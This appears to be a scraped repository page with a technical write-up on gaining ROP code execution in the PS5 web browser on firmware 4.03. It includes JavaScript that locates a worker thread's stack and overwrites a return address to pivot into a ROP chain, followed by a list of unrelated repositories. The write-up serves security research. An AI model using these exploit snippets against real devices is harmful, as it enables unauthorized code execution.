ROP userland execution for PS5 (4.03)

Overview

# Exploring the Playstation 5 Security - Userland

Introduction

The PlayStation 5 was released on November 12th 2020. While it's similar to the PS4 in it's architecture, the security model is vastly improved on both kernel and userland fronts. Below is some key system information on system software and some of the changes from the last generation.

  • Uses FreeBSD 11.
  • No development access (ie. can't run unsigned code without exploits).
  • To date there are no public exploits.
  • Added mitigations in kernel and userland.
  • Added hypervisor that handles security and app containers.

Userland Overview

Back in September Project Zero released a report for what they believed to be CVE-2021-30858, this turned out to be wrong as it was actually CVE-2021-30889 they were describing. A proof of concept was written for PS4 by sleirsgoevy, which we later modified to gain ROP execution on 9.00 for the kernel exploit. The vulnerability won't be covered here, this writeup will focus on taking the arbitrary read/write and leakobj()/fakeobj() primitives the exploit provides to gain code execution on PS5.

Lower firmwares such as 2.00 don't seem to be vulnerable, likely because the relevant FontFace code isn't present in older builds of WebKit (this holds true on PS4 as well, as firmwares lower than 9.00 can't be exploited with this WebKit bug).

Firmware 4.03 however, we found the browser was vulnerable. Unfortunately the exploit strategy used on PS4 could not be used on PS5 because of clang-based CFI. On PS4, we can use the leakobj() and arbitrary write primitive to leak an HTMLTextArea's vtable and smash one the various virtual calls for code execution. On PS5, these virtual calls are verified.

Virtual calls now have code that looks something like this, where it's address is enforced:

image info


Mitigations

name kernel user description
SMEP: Supervisor Mode Execution Prevention x SMEP will prevent supervisor mode from executing user-space code.
SMAP: Supervisor Mode Access Prevention x Complements Supervisor Mode Execution Prevention (SMEP), extends protection to reads and writes.
XOM: eXecute Only Memory (R^X) x x Disallows reading any memory page marked as executable.
Clang-CFI: Control Flow Integrity x x Protects against forward-edge control flow hijack (virtual calls, etc.)

Clang's Control Flow Integrity flags

-fsanitize=cfi- description
cast-strict Enables strict cast checks.
derived-cast Base-to-derived cast to the wrong dynamic type.
unrelated-cast Cast from void* or another unrelated type to the wrong dynamic type.
nvcall Non-virtual call via an object whose vptr is of the wrong dynamic type.
vcal Virtual call via an object whose vptr is of the wrong dynamic type.
icall Indirect call of a function with wrong dynamic type.
mfcall Indirect call via a member function pointer with wrong dynamic type.

WebKit Exploit Implementation

Overview

An alternative was needed to achieve code execution in WebKit. Thankfully, PS5's CFI is only forward-edge and does not use shadow stack, so backward-edge attacks (such as attacking return addresses on the stack) are fair game. Javascript provides a somewhat interesting piece of functionality called Web Workers. These Workers are at their core simple threads which execute javascript in an isolated environment. These were useful for exploitation, as they had a reliable stack we could leak, and gives a thread to pivot to our ROP chain.

Leaking a worker stack

The libkernel library used by WebKit (and many other applications) keeps a list of threads for that process, and includes information such as the stack address and size. By iterating this list using the arbitrary read/write, we can find a worker's stack address.

function find_worker() {
    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;

    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
        if (stacksz.low == 0x80000) {
            return stack;
        }
    }
    alert("failed to find worker.");
}

Launching a ROP chain

Once we have a worker stack, we can smash a known return address on the stack to stack pivot and get ROP running. Due to the stack being deterministic, we can setup a dummy worker with a postMessage handler and overwrite the return address at stack+0x7FB88.

const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);
// ...
let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
let original_return_address = p.read8(return_address_ptr);
let stack_pointer_ptr = return_address_ptr.add32(0x8);
// ...
async function launch_chain(chain) {
    // ...
    
    //overwrite return address
    p.write8(return_address_ptr, gadgets["pop rsp"]);
    p.write8(stack_pointer_ptr, chain.stack_entry_point);

    let p1 = await new Promise((resolve) => {
        const channel = new MessageChannel();
        channel.port1.onmessage = () => {
            channel.port1.close();
            resolve(1);
        }
        worker.postMessage(0, [channel.port2]);
    });
    
    // ...
}

Conclusion

Gaining userland code execution on PS5 is trickier than on PS4, but it's possible. Of course, this was made easier by the fact that we have binaries* and thus access to ROP gadgets. Otherwise, achieving code execution would have been far more difficult due to XOM. This is a userland exploit. Attacking the kernel is much more difficult due to above mitigations, and is left for a future writeup.


Credits

ChendoChap && Znullptr

Thanks

  • Anonymous*
  • Specter
  • sleirsgoevy
  • Everyone that donated.
You might also like...

An experimental webkit-based kernel exploit (Arb. R/W) for the PS5 on 4.03 & 4.50FW

PS5 4.xx Kernel Exploit Summary This repo contains an experimental WebKit ROP implementation of a PS5 kernel exploit based on TheFlow's IPV6 Use-After

Nov 17, 2022

Grupprojekt för kurserna 'Javascript med Ramverk' och 'Agil Utveckling'

JavaScript-med-Ramverk-Laboration-3 Grupprojektet för kurserna Javascript med Ramverk och Agil Utveckling. Utvecklingsguide För information om hur utv

May 18, 2022

Hemsida för personer i Sverige som kan och vill erbjuda boende till människor på flykt

Getting Started with Create React App This project was bootstrapped with Create React App. Available Scripts In the project directory, you can run: np

May 3, 2022

Kurs-repo för kursen Webbserver och Databaser

Webbserver och databaser This repository is meant for CME students to access exercises and codealongs that happen throughout the course. I hope you wi

Jan 3, 2023

Limit the execution rate of a function

valvelet This is a small utility to limit the execution rate of a function. It is useful for scenarios such as REST APIs consumption where the amount

Dec 26, 2022

Gulp.js command execution for humans

Gulp.js command execution for humans

Gulp.js command execution for humans. As opposed to similar plugins or to child_process.exec(), this uses Execa which provides: Better Windows support

Dec 14, 2022

Abstracts execution of tasks in parallel using Node.js cluster.

cluster-map Abstracts execution of tasks in parallel using Node.js cluster. It is a high level abstraction around a common pattern used to delegate a

Jul 3, 2022

A web client port-scanner written in GO, that supports the WASM/WASI interface for Browser WebAssembly runtime execution.

A web client port-scanner written in GO, that supports the WASM/WASI interface for Browser WebAssembly runtime execution.

WebAssembly Port Scanner Written in Go with target WASM/WASI. The WASM main function scans all the open ports in the specified range (see main.go), vi

Dec 27, 2022

Remote Code Execution V1 For iOS 15 sent through airdrop after the device was connected to a trusted host

Remote Code Execution V1 For iOS 15 sent through airdrop after the device was connected to a trusted host

iOS 15.0.1 RCE V1 Author: Jonathan Scott @jonathandata1 Date: October 9th, 2021 Release Version 1.0 Description When an iOS device has been connected

Dec 26, 2022

"Lerna & Distributed Task Execution" Example

Lerna Distributed Task Execution (DTE) Example/Benchmark On how to make your CI 23 times faster with a small config change New versions of Lerna can u

Nov 27, 2022

jQuery Plugin For Delayed Event Execution

bindWithDelay jQuery plugin Author: Brian Grinstead MIT license: http://www.opensource.org/licenses/mit-license.php http://github.com/bgrins/bindWith

Dec 31, 2022

Open, extensible, small and simple behaviour-graph execution engine

Behave-Graph Behave-Graph is a standalone library that implements the concept of "behavior graphs" as a portable TypeScript library with no external r

Dec 29, 2022

A simple in-memory time-based cache for both objects and function execution.

What is this? A simple in-memory time-based cache for both objects and function execution. How do I install it? You can install it by using the follow

Dec 15, 2022

A simple in-memory key-value cache for function execution, allowing both sync and async operations using the same methods

A simple in-memory key-value cache for function execution, allowing both sync and async operations using the same methods. It provides an invalidation mechanism based both on exact string and regex.

Dec 15, 2022
Owner
Just a person.
null
An experimental webkit-based kernel exploit (Arb. R/W) for the PS5 on 4.03 & 4.50FW

PS5 4.xx Kernel Exploit Summary This repo contains an experimental WebKit ROP implementation of a PS5 kernel exploit based on TheFlow's IPV6 Use-After

Kameleon 5 Nov 17, 2022
Grupprojekt för kurserna 'Javascript med Ramverk' och 'Agil Utveckling'

JavaScript-med-Ramverk-Laboration-3 Grupprojektet för kurserna Javascript med Ramverk och Agil Utveckling. Utvecklingsguide För information om hur utv

Svante Jonsson IT-Högskolan 3 May 18, 2022
Hemsida för personer i Sverige som kan och vill erbjuda boende till människor på flykt

Getting Started with Create React App This project was bootstrapped with Create React App. Available Scripts In the project directory, you can run: np

null 4 May 3, 2022
Kurs-repo för kursen Webbserver och Databaser

Webbserver och databaser This repository is meant for CME students to access exercises and codealongs that happen throughout the course. I hope you wi

null 14 Jan 3, 2023
"Lerna & Distributed Task Execution" Example

Lerna Distributed Task Execution (DTE) Example/Benchmark On how to make your CI 23 times faster with a small config change New versions of Lerna can u

Victor Savkin 9 Nov 27, 2022
jQuery Plugin For Delayed Event Execution

bindWithDelay jQuery plugin Author: Brian Grinstead MIT license: http://www.opensource.org/licenses/mit-license.php http://github.com/bgrins/bindWith

Brian Grinstead 152 Dec 31, 2022
Open, extensible, small and simple behaviour-graph execution engine

Behave-Graph Behave-Graph is a standalone library that implements the concept of "behavior graphs" as a portable TypeScript library with no external r

Ben Houston 167 Dec 29, 2022
A simple in-memory time-based cache for both objects and function execution.

What is this? A simple in-memory time-based cache for both objects and function execution. How do I install it? You can install it by using the follow

cadienvan 7 Dec 15, 2022
A simple in-memory key-value cache for function execution, allowing both sync and async operations using the same methods

A simple in-memory key-value cache for function execution, allowing both sync and async operations using the same methods. It provides an invalidation mechanism based both on exact string and regex.

cadienvan 10 Dec 15, 2022
Userland module that implements the module path mapping that Node.js does with "exports" in package.json

exports-map Userland module that implements the module path mapping that Node.js does with "exports" in package.json npm install exports-map Usage co

Mathias Buus 9 May 31, 2022